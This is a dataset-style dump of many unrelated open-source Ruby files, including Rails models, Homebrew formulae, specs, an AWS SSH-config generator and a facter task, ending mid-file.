hexsha
stringlengths 40
40
| size
int64 2
1.01M
| content
stringlengths 2
1.01M
| avg_line_length
float64 1.5
100
| max_line_length
int64 2
1k
| alphanum_fraction
float64 0.25
1
|
---|---|---|---|---|---|
5db065bad7fa587b2ab489c88f1491f76931096c | 1,548 | # frozen_string_literal: true
module Clusters
module Applications
class Runner < ApplicationRecord
VERSION = '0.36.0'
self.table_name = 'clusters_applications_runners'
include ::Clusters::Concerns::ApplicationCore
include ::Clusters::Concerns::ApplicationStatus
include ::Clusters::Concerns::ApplicationVersion
include ::Clusters::Concerns::ApplicationData
belongs_to :runner, class_name: 'Ci::Runner', foreign_key: :runner_id
delegate :project, :group, to: :cluster
default_value_for :version, VERSION
def chart
"#{name}/gitlab-runner"
end
def repository
'https://charts.gitlab.io'
end
def values
content_values.to_yaml
end
def install_command
helm_command_module::InstallCommand.new(
name: name,
version: VERSION,
rbac: cluster.platform_kubernetes_rbac?,
chart: chart,
files: files,
repository: repository
)
end
def prepare_uninstall
runner&.update!(active: false)
end
def post_uninstall
runner.destroy!
end
private
def gitlab_url
Gitlab::Routing.url_helpers.root_url(only_path: false)
end
def specification
{
"gitlabUrl" => gitlab_url,
"runners" => { "privileged" => privileged }
}
end
def content_values
YAML.load_file(chart_values_file).deep_merge!(specification)
end
end
end
end
| 22.114286 | 75 | 0.616279 |
26b1aef20506db6ebaf718d0c8f6020294d0f909 | 139 | class Address
include Entrepot::Mongo::Model
attribute :street, String
attribute :city, String
attribute :country, String
end
| 17.375 | 32 | 0.733813 |
ac987386b53e5794847adcc6917407014d2751fa | 1,056 | platform "el-6-s390x" do |plat|
plat.servicedir "/etc/rc.d/init.d"
plat.defaultdir "/etc/sysconfig"
plat.servicetype "sysv"
plat.add_build_repository "http://pl-build-tools.delivery.puppetlabs.net/yum/el/6/s390x/pl-build-tools-s390x.repo"
plat.add_build_repository "http://pl-build-tools.delivery.puppetlabs.net/yum/el/6/x86_64/pl-build-tools-x86_64.repo"
packages = [
"autoconf",
"automake",
"createrepo",
"gcc",
"imake",
"java-1.8.0-openjdk-devel",
"libsepol",
"libsepol-devel",
"libselinux-devel",
"make",
"pkgconfig",
"pl-binutils-#{self._platform.architecture}",
"pl-cmake",
"pl-gcc-#{self._platform.architecture}",
"pl-ruby",
"readline-devel",
"rsync",
"rpm-build",
"rpm-libs",
"rpm-sign",
"rpmdevtools",
"swig",
"yum-utils",
]
plat.provision_with("yum install -y --nogpgcheck #{packages.join(' ')}")
plat.install_build_dependencies_with "yum install --assumeyes"
plat.cross_compiled true
plat.vmpooler_template "redhat-6-x86_64"
end
| 27.789474 | 118 | 0.658144 |
5d6bb3ec71f9337ab36d583f2654872460ae2c7b | 2,630 | module SS::Model::Group
extend ActiveSupport::Concern
extend SS::Translation
include SS::Document
include SS::Scope::ActivationDate
include Ldap::Addon::Group
include SS::Fields::DependantNaming
attr_accessor :in_password
included do
store_in collection: "ss_groups"
index({ name: 1 }, { unique: true })
seqid :id
field :name, type: String
field :order, type: Integer
field :activation_date, type: DateTime
field :expiration_date, type: DateTime
permit_params :name, :order, :activation_date, :expiration_date
default_scope -> { order_by(order: 1, name: 1) }
validates :name, presence: true, uniqueness: true, length: { maximum: 80 }
validates :order, numericality: { greater_than_or_equal_to: 0, less_than_or_equal_to: 999_999, allow_blank: true }
validates :activation_date, datetime: true
validates :expiration_date, datetime: true
validate :validate_name
scope :in_group, ->(group) {
where(name: /^#{group.name}(\/|$)/)
}
end
module ClassMethods
def search(params)
criteria = self.where({})
return criteria if params.blank?
if params[:name].present?
criteria = criteria.search_text params[:name]
end
if params[:keyword].present?
criteria = criteria.keyword_in params[:keyword], :name
end
criteria
end
def tree_sort(options = {})
SS::TreeList.build self, options
end
end
def full_name
name.tr("/", " ")
end
def section_name
return name unless name.include?('/')
name.split("/")[1..-1].join(' ')
end
def trailing_name
@trailing_name ||= name.split("/")[depth..-1].join("/")
end
def root
parts = name.try(:split, "/") || []
return self if parts.length <= 1
0.upto(parts.length - 1) do |c|
ret = self.class.where(name: parts[0..c].join("/")).first
return ret if ret.present?
end
nil
end
def root?
id == root.id
end
def descendants
self.class.where(name: /^#{name}\//)
end
# Soft delete
def disable
super
descendants.each { |item| item.disable }
end
def depth
@depth ||= begin
count = 0
full_name = ""
name.split('/').map do |part|
full_name << "/" if full_name.present?
full_name << part
break if name == full_name
found = self.class.where(name: full_name).first
break if found.blank?
count += 1
end
count
end
end
private
def validate_name
if name =~ /\/$/ || name =~ /^\// || name =~ /\/\//
errors.add :name, :invalid
end
end
end
| 22.10084 | 118 | 0.613688 |
f81abcf26a185e9baa4215bfd62f0f24a62c44cc | 1,447 | #!/usr/bin/env ruby
$:.unshift(File.join("..", "lib"))
# Enter notes using MIDI input
require "diamond"
# Select the MIDI input that your controller or other device is connected to
#
# here is an example that explains a bit more about selecting devices with unimidi:
# http://github.com/arirusso/unimidi/blob/master/examples/select_a_device.rb
@input = UniMIDI::Input.gets
@output = UniMIDI::Output.gets
options = {
:gate => 20,
:interval => 7,
:midi => [@output, @input],
#:midi_debug => true, # uncomment this for debug output about MIDI messages in the console
:pattern => "UpDown",
:range => 4,
:rate => 8
}
@clock = Diamond::Clock.new(101)
@arpeggiator = Diamond::Arpeggiator.new(options)
@clock << @arpeggiator
# By default the arpeggiator will be in "omni mode", reacting to notes received from all MIDI channels
# To only look at a single channel, set the input channel via Arpeggiator#rx_channel=
# Can also be passed in to the Arpeggiator constructor via the :rx_channel option
@arpeggiator.rx_channel = 0
# You can then call arp.rx_channel = nil or arp.omni_on to return it to omni mode
# (Diamond does not respond to MIDI Omni On/Off messages)
# It's also possible to set the channel that the arpeggiator will output on
@arpeggiator.tx_channel = 1
@clock.start(:focus => true)
# When you play notes, they will be sent to the arpeggiator the same way
# Arpeggiator#add is used in most of the other examples
| 29.530612 | 102 | 0.731168 |
e93b8234d739788b5ef6a8fa2ca0a782695035a7 | 1,578 | # encoding: utf-8
class BookpdfUploader < CarrierWave::Uploader::Base
# Include RMagick or MiniMagick support:
# include CarrierWave::RMagick
# include CarrierWave::MiniMagick
# Choose what kind of storage to use for this uploader:
#storage :file
if Rails.env.development? || Rails.env.test?
storage :file # but what if I want to test fog/aws
else
storage :fog
end
# Override the directory where uploaded files will be stored.
# This is a sensible default for uploaders that are meant to be mounted:
def store_dir
"#{model.class.to_s.underscore}/#{model.id}/#{mounted_as}"
# "#{model.class.to_s.underscore}/#{model.id}"
# "#{User.id}/#{model.id}"
#"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}"
end
# Provide a default URL as a default if there hasn't been a file uploaded:
# def default_url
# "/images/fallback/" + [version_name, "default.png"].compact.join('_')
# end
# Process files as they are uploaded:
# process :scale => [200, 300]
#
# def scale(width, height)
# # do something
# end
# Create different versions of your uploaded files:
# version :thumb do
# process :scale => [50, 50]
# end
# Add a white list of extensions which are allowed to be uploaded.
# For images you might use something like this:
def extension_white_list
%w(pdf)
end
# Override the filename of the uploaded files:
# Avoid using model.id or version_name here, see uploader/store.rb for details.
# def filename
# "something.jpg" if original_filename
# end
end
| 28.690909 | 81 | 0.685044 |
b93ed21a5f48c346e1bc079b3773fc589598d85a | 890 | require "spec_helper"
describe Saml::ComplexTypes::LocalizedNameType do
let(:localized_name_type) { FactoryGirl.build(:localized_name_type_dummy) }
describe "Required fields" do
[:language].each do |field|
it "should have the #{field} field" do
localized_name_type.should respond_to(field)
end
it "should check the presence of #{field}" do
localized_name_type.send("#{field}=", nil)
localized_name_type.should_not be_valid
end
end
end
describe "#parse" do
let(:localized_name_type_xml) { File.read(File.join('spec','fixtures','metadata', 'identity_provider.xml')) }
let(:localized_name_type) { Saml::Elements::OrganizationName.parse(localized_name_type_xml, :single => true) }
it "should create a OrganizationName" do
localized_name_type.should be_a(Saml::Elements::OrganizationName)
end
end
end
| 30.689655 | 114 | 0.708989 |
7afefaa6932998d2c641ad550c80e5805e662774 | 1,456 | #!/opt/puppetlabs/puppet/bin/ruby
require 'json'
require 'open3'
def get(fact)
if Gem.win_platform?
require 'win32/registry'
installed_dir =
begin
Win32::Registry::HKEY_LOCAL_MACHINE.open('SOFTWARE\Puppet Labs\Puppet') do |reg|
# rubocop:disable Style/RescueModifier
# Rescue missing key
dir = reg['RememberedInstallDir64'] rescue ''
# Both keys may exist, make sure the dir exists
break dir if File.exist?(dir)
# Rescue missing key
reg['RememberedInstallDir'] rescue ''
# rubocop:enable Style/RescueModifier
end
rescue Win32::Registry::Error
# Rescue missing registry path
''
end
facter =
if installed_dir.empty?
''
else
File.join(installed_dir, 'bin', 'facter.bat')
end
else
facter = '/opt/puppetlabs/puppet/bin/facter'
end
# Fall back to PATH lookup if puppet-agent isn't installed
facter = 'facter' unless File.exist?(facter)
cmd = [facter, '-p', '--json']
cmd << fact if fact
stdout, stderr, status = Open3.capture3(*cmd)
raise "Exit #{status.exitstatus} running #{cmd.join(' ')}: #{stderr}" if status != 0
stdout
end
params = JSON.parse(STDIN.read)
fact = params['fact']
begin
result = JSON.parse(get(fact))
puts result.to_json
exit 0
rescue => e
puts({ _error: { kind: 'facter_task/failure', msg: e.message } }.to_json)
exit 1
end
| 25.103448 | 88 | 0.62706 |
ff1c0889654888dcc385427a5425e41b86d42d8a | 3,693 | class Protobuf < Formula
desc "Protocol buffers (Google's data interchange format)"
homepage "https://github.com/protocolbuffers/protobuf/"
url "https://github.com/protocolbuffers/protobuf/releases/download/v3.14.0/protobuf-all-3.14.0.tar.gz"
sha256 "6dd0f6b20094910fbb7f1f7908688df01af2d4f6c5c21331b9f636048674aebf"
license "BSD-3-Clause"
livecheck do
url :stable
strategy :github_latest
end
bottle do
rebuild 1
sha256 "b06e8c4247465d7773a359eeeaa39385e564fefab77dbbb245ac928eea334ce9" => :big_sur
sha256 "d552ba31a02e48f9eaba685dc56955a7ff5620283f3763bab684b9fe07b81042" => :arm64_big_sur
sha256 "8d53111626404e2b4f27718127a313dceea600a74a4d38ffe0870812d8f57eb4" => :catalina
sha256 "0070627fe9b8c1818e54480c272cc00fa71bd5bd944b04d37ebe2e31604cb9c9" => :mojave
sha256 "3a8740e87247f14779fa953354a17f7f02d49e7ece43081f79537a26a3892fc2" => :x86_64_linux
end
head do
url "https://github.com/protocolbuffers/protobuf.git"
depends_on "autoconf" => :build
depends_on "automake" => :build
depends_on "libtool" => :build
end
depends_on "[email protected]" => [:build, :test]
conflicts_with "percona-server", "percona-xtrabackup",
because: "both install libprotobuf(-lite) libraries"
resource "six" do
url "https://files.pythonhosted.org/packages/6b/34/415834bfdafca3c5f451532e8a8d9ba89a21c9743a0c59fbd0205c7f9426/six-1.15.0.tar.gz"
sha256 "30639c035cdb23534cd4aa2dd52c3bf48f06e5f4a941509c8bafd8ce11080259"
end
# Fix build on Big Sur, remove in next version
# https://github.com/protocolbuffers/protobuf/pull/8126
patch do
url "https://github.com/atomiix/protobuf/commit/d065bd6910a0784232dbbbfd3e5806922d69c622.patch?full_index=1"
sha256 "5433b6247127f9ca622b15c9f669efbaac830fa717ed6220081bc1fc3c735f91"
end
unless OS.mac?
fails_with gcc: "4"
fails_with gcc: "5"
depends_on "gcc@6" => :build
end
def install
# Don't build in debug mode. See:
# https://github.com/Homebrew/homebrew/issues/9279
# https://github.com/protocolbuffers/protobuf/blob/5c24564811c08772d090305be36fae82d8f12bbe/configure.ac#L61
ENV.prepend "CXXFLAGS", "-DNDEBUG"
ENV.cxx11
system "./autogen.sh" if build.head?
system "./configure", "--disable-debug", "--disable-dependency-tracking",
"--prefix=#{prefix}", "--with-zlib"
system "make"
system "make", "check" if OS.mac?
system "make", "install"
# Install editor support and examples
pkgshare.install "editors/proto.vim", "examples"
elisp.install "editors/protobuf-mode.el"
ENV.append_to_cflags "-I#{include}"
ENV.append_to_cflags "-L#{lib}"
resource("six").stage do
system Formula["[email protected]"].opt_bin/"python3", *Language::Python.setup_install_args(libexec)
end
chdir "python" do
system Formula["[email protected]"].opt_bin/"python3", *Language::Python.setup_install_args(libexec),
"--cpp_implementation"
end
version = Language::Python.major_minor_version Formula["[email protected]"].opt_bin/"python3"
site_packages = "lib/python#{version}/site-packages"
pth_contents = "import site; site.addsitedir('#{libexec/site_packages}')\n"
(prefix/site_packages/"homebrew-protobuf.pth").write pth_contents
end
test do
testdata = <<~EOS
syntax = "proto3";
package test;
message TestCase {
string name = 4;
}
message Test {
repeated TestCase case = 1;
}
EOS
(testpath/"test.proto").write testdata
system bin/"protoc", "test.proto", "--cpp_out=."
system Formula["[email protected]"].opt_bin/"python3", "-c", "import google.protobuf"
end
end
| 35.509615 | 134 | 0.714054 |
bb4f0760262836b2a209fe2ad39a88d8dcc83fc8 | 3,566 | module SoberSwag
class Compiler
##
# This compiler transforms a {SoberSwag::Controller::Route} object into its associated OpenAPI V3 definition.
# These definitions are [called "paths" in the OpenAPI V3 spec](https://swagger.io/docs/specification/paths-and-operations/),
# thus the name of this compiler.
#
# It only compiles a *single* "path" at a time.
class Path
##
# @param route [SoberSwag::Controller::Route] a route to use
# @param compiler [SoberSwag::Compiler] the compiler to use for type compilation
def initialize(route, compiler)
@route = route
@compiler = compiler
end
##
# @return [SoberSwag::Controller::Route]
attr_reader :route
##
# @return [SoberSwag::Compiler] the compiler used for type compilation
attr_reader :compiler
##
# The OpenAPI V3 "path" object for the associated {SoberSwag::Controller::Route}
#
# @return [Hash] the OpenAPI V3 description
def schema
base = {}
base[:summary] = route.summary if route.summary
base[:description] = route.description if route.description
base[:parameters] = params if params.any?
base[:responses] = responses
base[:requestBody] = request_body if request_body
base[:tags] = tags if tags
base
end
##
# An array of "response" objects from swagger.
#
# @return [Hash{String => Hash}]
# response code to response object.
def responses # rubocop:disable Metrics/MethodLength
route.response_serializers.map { |status, serializer|
[
status.to_s,
{
description: route.response_descriptions[status],
content: {
'application/json': {
schema: compiler.response_for(
serializer.respond_to?(:swagger_schema) ? serializer : serializer.type
)
}
}
}
]
}.to_h
end
##
# An array of all parameters, be they in the query or in the path.
# See [this page](https://swagger.io/docs/specification/serialization/) for what that looks like.
#
# @return [Array<Hash>]
def params
query_params + path_params
end
##
# An array of schemas for all query parameters.
#
# @return [Array<Hash>] the schemas
def query_params
if route.query_params_class
compiler.query_params_for(route.query_params_class)
else
[]
end
end
##
# An array of schemas for all path parameters.
#
# @return [Array<Hash>] the schemas
def path_params
if route.path_params_class
compiler.path_params_for(route.path_params_class)
else
[]
end
end
##
# The schema for a request body.
# Matches [this spec.](https://swagger.io/docs/specification/paths-and-operations/)
#
# @return [Hash] the schema
def request_body
return nil unless route.request_body_class
{
required: true,
content: {
'application/json': {
schema: compiler.body_for(route.request_body_class)
}
}
}
end
##
# The tags for this path.
# @return [Array<String>] the tags
def tags
return nil unless route.tags.any?
route.tags
end
end
end
end
| 28.301587 | 129 | 0.57263 |
1ac6c59088ba1c35827f97b43eb26b0b8add8016 | 427 | require File.expand_path('../../../../spec_helper', __FILE__)
describe :numeric_conj, :shared => true do
before(:each) do
@numbers = [
20, # Integer
398.72, # Float
Rational(3, 4), # Rational
bignum_value,
infinity_value,
nan_value
]
end
it "returns self" do
@numbers.each do |number|
number.send(@method).should equal(number)
end
end
end
| 20.333333 | 61 | 0.569087 |
281658e92dd86df794cad9bb24e43082bc4e8aac | 210 | class CreateAnswervotes < ActiveRecord::Migration
def change
create_table :answervotes do |t|
t.integer :answer_id
t.integer :user_id
t.integer :answer_vote_count
t.timestamps
end
end
end
| 16.153846 | 49 | 0.738095 |
bf0978b77a496908d15eea9aa9c25c1239444855 | 3,221 | # frozen_string_literal: true
require 'glimmer-dsl-libui'
include Glimmer
window('Grid') {
tab {
tab_item('Span') {
grid {
4.times do |top_value|
4.times do |left_value|
label("(#{left_value}, #{top_value}) xspan1\nyspan1") {
left left_value
top top_value
hexpand true
vexpand true
}
end
end
label("(0, 4) xspan2\nyspan1 more text fits horizontally") {
left 0
top 4
xspan 2
}
label("(2, 4) xspan2\nyspan1 more text fits horizontally") {
left 2
top 4
xspan 2
}
label("(0, 5) xspan1\nyspan2\nmore text\nfits vertically") {
left 0
top 5
yspan 2
}
label("(0, 7) xspan1\nyspan2\nmore text\nfits vertically") {
left 0
top 7
yspan 2
}
label("(1, 5) xspan3\nyspan4 a lot more text fits horizontally than before\nand\neven\na lot\nmore text\nfits vertically\nthan\nbefore") {
left 1
top 5
xspan 3
yspan 4
}
}
}
tab_item('Expand') {
grid {
label("(0, 0) hexpand/vexpand\nall available horizontal space is taken\nand\nall\navailable\nvertical\nspace\nis\ntaken") {
left 0
top 0
hexpand true
vexpand true
}
label("(1, 0)") {
left 1
top 0
}
label("(0, 1)") {
left 0
top 1
}
label("(1, 1)") {
left 1
top 1
}
}
}
tab_item('Align') {
grid {
label("(0, 0) halign/valign fill\nall available horizontal space is taken\nand\nall\navailable\nvertical\nspace\nis\ntaken") {
left 0
top 0
hexpand true unless OS.mac? # on Mac, only the first label is given all space, so avoid expanding
vexpand true unless OS.mac? # on Mac, only the first label is given all space, so avoid expanding
halign :fill
valign :fill
}
label("(1, 0) halign/valign start") {
left 1
top 0
hexpand true unless OS.mac? # on Mac, only the first label is given all space, so avoid expanding
vexpand true unless OS.mac? # on Mac, only the first label is given all space, so avoid expanding
halign :start
valign :start
}
label("(0, 1) halign/valign center") {
left 0
top 1
hexpand true unless OS.mac? # on Mac, only the first label is given all space, so avoid expanding
vexpand true unless OS.mac? # on Mac, only the first label is given all space, so avoid expanding
halign :center
valign :center
}
label("(1, 1) halign/valign end") {
left 1
top 1
hexpand true unless OS.mac? # on Mac, only the first label is given all space, so avoid expanding
vexpand true unless OS.mac? # on Mac, only the first label is given all space, so avoid expanding
halign :end
valign :end
}
}
}
}
}.show
| 29.550459 | 146 | 0.524061 |
d559932205e4f8adfb99c5946bf2e683f83dd2e2 | 169 | # TODO: flag game as finished instead of GameOver
class GameOver < StandardError; end
class InvalidGameState < StandardError; end
class InvalidHint < StandardError; end
| 33.8 | 49 | 0.810651 |
01d5cf08b0afefbc662115e44b860cc9e30663b1 | 68 | require 'rubygems'
require 'aws-sdk-rds'
require 'aws-sdk-redshift'
| 17 | 26 | 0.764706 |
e8cb22952053c5a6db14f5ea2ae57db0326b0aea | 1,412 | #!/usr/bin/env ruby
require 'aws-sdk'
Dir.chdir File.expand_path File.dirname(__FILE__)
slug = ARGV.join
config = File.read("aws/#{slug}.profile")
if !config
puts "No config file found for #{slug}"
exit
end
access_key_id = config.match(/AWS_ACCESS_KEY=(.+)/)[1]
secret_access_key = config.match(/AWS_SECRET_KEY=(.+)/)[1]
# Add more regions here if necessary. No harm in adding all of them, just makes the generation take longer to query more regions.
regions = [
'us-east-1',
'us-west-2'
]
ssh_config = ''
regions.each do |region|
AWS.config access_key_id: access_key_id, secret_access_key: secret_access_key, region: region
ec2 = AWS.ec2
ec2.instances.each do |instance|
if(instance.status == :running && instance.tags['Name'])
instance_name = instance.tags['Name'].gsub /[^a-zA-Z0-9\-_\.]/, '-'
instance_user = instance.tags['User'] || 'ubuntu'
puts "#{instance.id}: #{instance_name} #{instance.ip_address} (#{instance_user})"
ssh_config << "Host #{instance_name}\n"
ssh_config << " HostName #{instance.ip_address}\n"
ssh_config << " User #{instance_user}\n"
ssh_config << " IdentityFile ~/.ssh/#{instance.key_name}.aws.pem\n"
ssh_config << "\n"
end
end
end
ssh_file = "ssh/#{slug}.sshconfig"
File.open(ssh_file, 'w') {|f| f.write(ssh_config) }
puts "Complete! Now run rebuild-ssh-config.sh to update your .ssh/config file"
| 29.416667 | 129 | 0.674929 |
bb44d0613623c014fd735ed9dc6895e1c6a0b485 | 2,250 | # NOTE: file contains code adapted from **sqlserver** adapter, license follows
=begin
Copyright (c) 2008-2015
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
=end
module ArJdbc
module MSSQL
module Utils
module_function
def unquote_table_name(table_name)
remove_identifier_delimiters(table_name)
end
def unquote_column_name(column_name)
remove_identifier_delimiters(column_name)
end
def unquote_string(string)
string.to_s.gsub("''", "'")
end
def unqualify_table_name(table_name)
return if table_name.blank?
remove_identifier_delimiters(table_name.to_s.split('.').last)
end
def unqualify_table_schema(table_name)
schema_name = table_name.to_s.split('.')[-2]
schema_name.nil? ? nil : remove_identifier_delimiters(schema_name)
end
def unqualify_db_name(table_name)
table_names = table_name.to_s.split('.')
table_names.length == 3 ? remove_identifier_delimiters(table_names.first) : nil
end
# private
# See "Delimited Identifiers": http://msdn.microsoft.com/en-us/library/ms176027.aspx
def remove_identifier_delimiters(keyword)
keyword.to_s.tr("\]\[\"", '')
end
end
end
end
| 33.088235 | 90 | 0.732444 |
e81ade0eda287bcedbba6fec852fa7132e17656c | 1,250 | require 'formula'
class KyotoTycoon < Formula
homepage 'http://fallabs.com/kyototycoon/'
url 'http://fallabs.com/kyototycoon/pkg/kyototycoon-0.9.56.tar.gz'
sha1 'e5433833e681f8755ff6b9f7209029ec23914ce6'
option "no-lua", "Disable Lua support"
depends_on 'lua' unless build.include? "no-lua"
depends_on 'kyoto-cabinet'
def patches
if MacOS.version >= :mavericks
DATA
end
end
def install
# Locate kyoto-cabinet for non-/usr/local builds
cabinet = Formula["kyoto-cabinet"].opt_prefix
args = ["--prefix=#{prefix}", "--with-kc=#{cabinet}"]
args << "--enable-lua" unless build.include? "no-lua"
system "./configure", *args
system "make"
system "make install"
end
end
__END__
--- a/ktdbext.h 2013-11-08 09:34:53.000000000 -0500
+++ b/ktdbext.h 2013-11-08 09:35:00.000000000 -0500
@@ -271,7 +271,7 @@
if (!logf("prepare", "started to open temporary databases under %s", tmppath.c_str()))
err = true;
stime = kc::time();
- uint32_t pid = getpid() & kc::UINT16MAX;
+ uint32_t pid = kc::getpid() & kc::UINT16MAX;
uint32_t tid = kc::Thread::hash() & kc::UINT16MAX;
uint32_t ts = kc::time() * 1000;
for (size_t i = 0; i < dbnum_; i++) {
| 28.409091 | 93 | 0.6344 |
f810041a5e71416d9f32da8bfe5557c3cec9aef6 | 1,076 | class UpdateTasksThread < BaseThread
def go
$log.debug('Update tasks')
check_tasks(:delete)
check_tasks(:copy)
end
def check_tasks(type)
count = 0
limit = FC::Var.get("daemon_tasks_#{type}_group_limit", 1000).to_i
tasks = (type == :copy ? $tasks_copy : $tasks_delete)
$storages.select { |storage| storage.write_weight.to_i >= 0 }.each do |storage|
tasks[storage.name] = [] unless tasks[storage.name]
ids = tasks[storage.name].map(&:id) + $curr_tasks.compact.map(&:id)
if ids.length > limit*2
$log.debug("Too many (#{ids.length}) #{type} tasks")
next
end
cond = "storage_name = '#{storage.name}' AND status='#{type.to_s}'"
cond << "AND id not in (#{ids.join(',')})" if ids.length > 0
cond << " LIMIT #{limit}"
FC::ItemStorage.where(cond).each do |item_storage|
tasks[storage.name] << item_storage
$log.debug("task add: type=#{type}, item_storage=#{item_storage.id}")
count +=1
end
end
$log.debug("Add #{count} #{type} tasks")
end
end | 35.866667 | 83 | 0.604089 |
181907452e43cfbd01ccb973ae99bec42c1938ad | 44 | module TabloConnect
VERSION = "0.0.4"
end
| 11 | 19 | 0.704545 |
333d5ab1254b6e5e13bad6946969d95328bc2b29 | 934 | require 'fpm'
class Dockly::Rpm < Dockly::Deb
logger_prefix '[dockly rpm]'
dsl_attribute :os
default_value :deb_build_dir, 'rpm'
default_value :os, 'linux'
def output_filename
"#{package_name}_#{version}.#{release}_#{arch}.rpm"
end
def startup_script
scripts = []
bb = Dockly::BashBuilder.new
scripts << bb.normalize_for_dockly
scripts << bb.get_and_install_rpm(s3_url, "/opt/dockly/#{File.basename(s3_url)}")
scripts.join("\n")
end
private
def convert_package
debug "converting to rpm"
@deb_package = @dir_package.convert(FPM::Package::RPM)
# rpm specific configs
@deb_package.attributes[:rpm_rpmbuild_define] ||= []
@deb_package.attributes[:rpm_defattrfile] = "-"
@deb_package.attributes[:rpm_defattrdir] = "-"
@deb_package.attributes[:rpm_user] = "root"
@deb_package.attributes[:rpm_group] = "root"
@deb_package.attributes[:rpm_os] = os
end
end
| 25.944444 | 85 | 0.689507 |
b94761e7186da3ca9c5f48462e196775a9bd0fb6 | 1,580 | #
# Author:: Adam Jacob (<[email protected]>)
# Copyright:: Copyright (c) 2009 Opscode, Inc.
# License:: Apache License, Version 2.0
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
require 'chef/knife'
class Chef
class Knife
class ClientReregister < Knife
deps do
require 'chef/api_client_v1'
require 'chef/json_compat'
end
banner "knife client reregister CLIENT (options)"
option :file,
:short => "-f FILE",
:long => "--file FILE",
:description => "Write the key to a file"
def run
@client_name = @name_args[0]
if @client_name.nil?
show_usage
ui.fatal("You must specify a client name")
exit 1
end
client = Chef::ApiClientV1.reregister(@client_name)
Chef::Log.debug("Updated client data: #{client.inspect}")
key = client.private_key
if config[:file]
File.open(config[:file], "w") do |f|
f.print(key)
end
else
ui.msg key
end
end
end
end
end
| 26.333333 | 74 | 0.629114 |
5d9e543e1f72ce6056d1193c06f64b36cd4d20cc | 1,738 | class Kubie < Formula
desc "Much more powerful alternative to kubectx and kubens"
homepage "https://blog.sbstp.ca/introducing-kubie/"
url "https://github.com/sbstp/kubie/archive/v0.13.0.tar.gz"
sha256 "0a26554a211517cead3ed8442dfa10e000de428983c6c0d8975e230cec2d58b1"
license "Zlib"
livecheck do
url :stable
regex(/^v?(\d+(?:\.\d+)+)$/i)
end
bottle do
sha256 cellar: :any_skip_relocation, big_sur: "6811ed2631e2f19149fdf964bd7f951a759049a6cf93bae4faba8afa49d16f7b"
sha256 cellar: :any_skip_relocation, catalina: "f1713182409e3bc272e83df099f1154287e285edf10c00db6a83e273fffef540"
sha256 cellar: :any_skip_relocation, mojave: "91624aac913d33acfa5377b071d7806a0e7261113782b92e8ca15773ff10a6a7"
end
depends_on "rust" => :build
depends_on "kubernetes-cli" => :test
def install
system "cargo", "install", *std_cargo_args
bash_completion.install "./completion/kubie.bash"
end
test do
mkdir_p testpath/".kube"
(testpath/".kube/kubie-test.yaml").write <<~EOS
apiVersion: v1
clusters:
- cluster:
server: http://0.0.0.0/
name: kubie-test-cluster
contexts:
- context:
cluster: kubie-test-cluster
user: kubie-test-user
namespace: kubie-test-namespace
name: kubie-test
current-context: baz
kind: Config
preferences: {}
users:
- user:
name: kubie-test-user
EOS
assert_match "kubie #{version}", shell_output("#{bin}/kubie --version")
assert_match "The connection to the server 0.0.0.0 was refused - did you specify the right host or port?",
shell_output("#{bin}/kubie exec kubie-test kubie-test-namespace kubectl get pod 2>&1")
end
end
| 31.6 | 117 | 0.688723 |
5db4acfddbb5ece1ac4145bf86f9d0b86ba9beb5 | 549 | Pod::Spec.new do |s|
s.name = 'BNHtmlPdfKit'
s.version = '0.6.3'
s.platform = :ios
s.summary = 'Easily turn HTML data from an HTML string or URL into a PDF file on iOS.'
s.homepage = 'https://github.com/brentnycum/BNHtmlPdfKit'
s.author = { 'Brent Nycum' => '[email protected]' }
s.source = { :git => 'https://github.com/elchief84/BNHtmlPdfKit.git', :tag => '0.6.0' }
s.source_files = 'BNHtmlPdfKit.{h,m}'
s.requires_arc = true
s.license = { :type => 'MIT', :file => 'LICENSE' }
end
| 42.230769 | 95 | 0.590164 |
2142b7b52755949e7040c754fa2b129cfda9aa97 | 1,470 | # frozen_string_literal: true
require 'spec_helper'
require Rails.root.join('db', 'migrate', '20180420010616_cleanup_build_stage_migration.rb')
describe CleanupBuildStageMigration, :migration, :redis do
let(:migration) { spy('migration') }
before do
allow(Gitlab::BackgroundMigration::MigrateBuildStage)
.to receive(:new).and_return(migration)
end
context 'when there are pending background migrations' do
it 'processes pending jobs synchronously' do
Sidekiq::Testing.disable! do
BackgroundMigrationWorker
.perform_in(2.minutes, 'MigrateBuildStage', [1, 1])
BackgroundMigrationWorker
.perform_async('MigrateBuildStage', [1, 1])
migrate!
expect(migration).to have_received(:perform).with(1, 1).twice
end
end
end
context 'when there are no background migrations pending' do
it 'does nothing' do
Sidekiq::Testing.disable! do
migrate!
expect(migration).not_to have_received(:perform)
end
end
end
context 'when there are still unmigrated builds present' do
let(:builds) { table('ci_builds') }
before do
builds.create!(name: 'test:1', ref: 'master')
builds.create!(name: 'test:2', ref: 'master')
end
it 'migrates stages sequentially in batches' do
expect(builds.all).to all(have_attributes(stage_id: nil))
migrate!
expect(migration).to have_received(:perform).once
end
end
end
| 26.25 | 91 | 0.681633 |
39502e07948fa022c6535bd834494880338161c9 | 2,167 | require 'spec_helper'
RSpec.describe DarkPrism::Config::MainConfig do
let(:instance) { DarkPrism::Config::MainConfig.instance }
it 'returns a Config instance' do
expect(instance)
